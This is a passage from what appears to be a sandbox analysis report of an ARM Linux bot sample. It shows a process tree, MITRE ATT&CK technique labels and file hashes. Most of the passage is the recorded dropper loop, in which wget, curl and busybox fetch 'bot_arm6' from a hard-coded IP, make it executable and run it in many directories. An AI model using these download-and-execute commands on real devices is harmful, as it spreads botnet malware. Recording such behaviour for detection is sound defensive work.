  PID:1285
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1289
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1291
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1290
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1293
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1295
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1294
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1296
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1298
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1297
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1300
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1301
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1302
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1303
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1305
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1304
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1306
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1308
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1307
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1309
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1311
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1310
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1312
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1314
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1313
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1315
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  PID:1317
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1316
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1319
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1321
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1320
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1323
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1325
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1324
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1326
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  PID:1328
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1327
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1331
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1333
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1332
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1335
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1337
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1336
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1338
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1340
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1339
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1342
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1344
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1343
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1345
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1347
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1346
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1348
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1350
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1349
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1351
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1353
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1352
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1354
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1356
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1355
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1357
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1359
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1358
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1360
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1362
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1361
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1363
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1365
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1364
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1366
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  PID:1368
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1367
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1369
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1371
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1370
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1372
- /bin/sleep
  sleep 30
  2⤵
  PID:1374
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1373
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1381
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1382
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1384
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1385
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1387
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1388
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1390
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1391
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1393
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1392
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1395
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1397
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1396
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1399
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1401
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1400
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1402
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1403
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1404
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1407
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1409
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1408
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1411
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1413
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1412
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1414
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:1416
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1415
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:1420
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1422
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1421
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1424
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1426
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1425
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1429
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1431
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1430
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1433
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1434
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1435
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1437
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1439
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1438
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1440
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  PID:1442
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1441
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1445
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1447
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1446
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1449
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1451
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1450
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1452
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1454
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1453
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1456
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1458
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1457
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1459
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1461
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1460
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1462
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1464
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1463
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1465
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1466
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1467
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1468
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1469
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1470
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1471
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Reads runtime system information
  PID:1473
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1472
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1475

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 586KB
SHA256 be730c016aec4cf4423f2f5caccac2b83f5c326a516103f9a0311d000a0a3fad
MD5 6f0856d8a8d077a853f60ec5e86e3866
SHA1 e7e671d5e150a946188cbb9d8df3f83023a9ae87
SHA512 083bf5a8b22c1134557d4663e0c89a94a6b34ddce2889c8f148eedbd47923ffbfd2353f01c0d0bfc6bf9a6b00f6156c3869be2f0c313a6f6323041a15ae62027
SSDEEP 12288:dyMv4waJPzkL9BL/YUT/CY6EYPr4UQcfZREUL8pvuCjK:Bv4waVkPrYK/CYlYPrVQoC
TLSH
T1DFD42855F8809F61C6C539B6F74D42A873174B79D3EB72069A254B303BEB86B0F3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads